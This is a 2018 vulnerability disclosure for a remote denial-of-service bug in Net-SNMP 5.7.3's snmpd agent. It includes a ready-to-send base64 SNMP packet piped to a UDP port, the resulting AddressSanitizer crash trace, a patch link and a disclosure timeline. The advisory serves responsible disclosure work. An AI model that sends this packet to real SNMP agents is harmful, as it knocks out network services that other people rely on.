     _            _
    / |   ___ ___| |_ ___ ___ ___ _____ ___
 _ / /   |   | -_|  _|___|_ -|   |     | . |
|_|_/    |_|_|___|_|     |___|_|_|_|_|_|  _|
                                       |_|
2018-10-08

NET-SNMP REMOTE DOS
===================

Second bug is remotely exploitable only with knowledge of the community string (in this case "public") leading to Denial of Service:

  # echo -n "MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIuMzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQNMjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/1111

  # net-snmp-5.7.3/agent/snmpd -f -d -V -c ../../snmpd.conf -Ln  127.0.0.1:1111
  ASAN:SIGSEGV
  =================================================================
  ==41062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000410 (pc 0x00000075bc0f bp 0x7ffdda226b10 sp 0x7ffdda2269e0 T0)
      #0 0x75bc0e in _set_key /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564:9
      #1 0x75bc0e in _data_lookup /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:614
      #2 0x75bc0e in _container_table_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:749
      #3 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15
      #4 0x572dc4 in netsnmp_call_next_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:640:12
      #5 0x58751c in table_helper_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table.c:713:9
      #6 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15
      #7 0x572c79 in netsnmp_call_handlers /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:611:14
      #8 0x520d86 in handle_var_requests /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:2679:22
      #9 0x524dbe in handle_pdu /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3441:18
      #10 0x51b976 in netsnmp_handle_request /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3284:14
      #11 0x515876 in handle_snmp_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:1990:10
      #12 0x7f3558 in _sess_process_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5437:7
      #13 0x7ef331 in _sess_read /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5877:14
      #14 0x7ed2e0 in snmp_sess_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5911:10
      #15 0x7ed2e0 in snmp_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5502
      #16 0x4f9286 in receive /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1375:15
      #17 0x4f9286 in main /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1118
      #18 0x7fc1acb11b44 in __libc_start_main /build/glibc-6V9RKT/glibc-2.19/csu/libc-start.c:287
      #19 0x4f617c in _start (/home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd+0x4f617c)

  AddressSanitizer can not provide additional info.
  SUMMARY: AddressSanitizer: SEGV /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564 _set_key
  ==41062==ABORTING


PATCHES
=======

Vuln#2: sourceforge.net/p/net-snmp/code/ci/7ffb8e25a0db851953155de91f0170e9bf8c457d


TIMELINE
========

2015-04-11 Vendor releases patch of bug#1 in version control - no public article or otherwise disclosure
2016-10-06 Vendor releases patch of bug#2 in version control - no public article or otherwise disclosure
2018-01-05 I discovered both bugs
2018-01-08 Vendor notified
2018-01-08 Vendor responds - bugs already fixed in version control repo
2018-10-08 Public disclosure of exploit

PROOF OF DISCOVERY
==================

 # cat vuln2 | base64
  MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIu
  MzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQN
  MjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y
  # sha256sum vuln2
  b7f0e494b8a91c6fedb7e13b3b8dab68a951b5fdc21dd876ae91eb86924018f2  vuln2
  twitter.com/magnusstubman/status/949520565064404994


REFERENCES
==========

- sourceforge.net/p/net-snmp/bugs/2820
- sourceforge.net/p/net-snmp/bugs/2819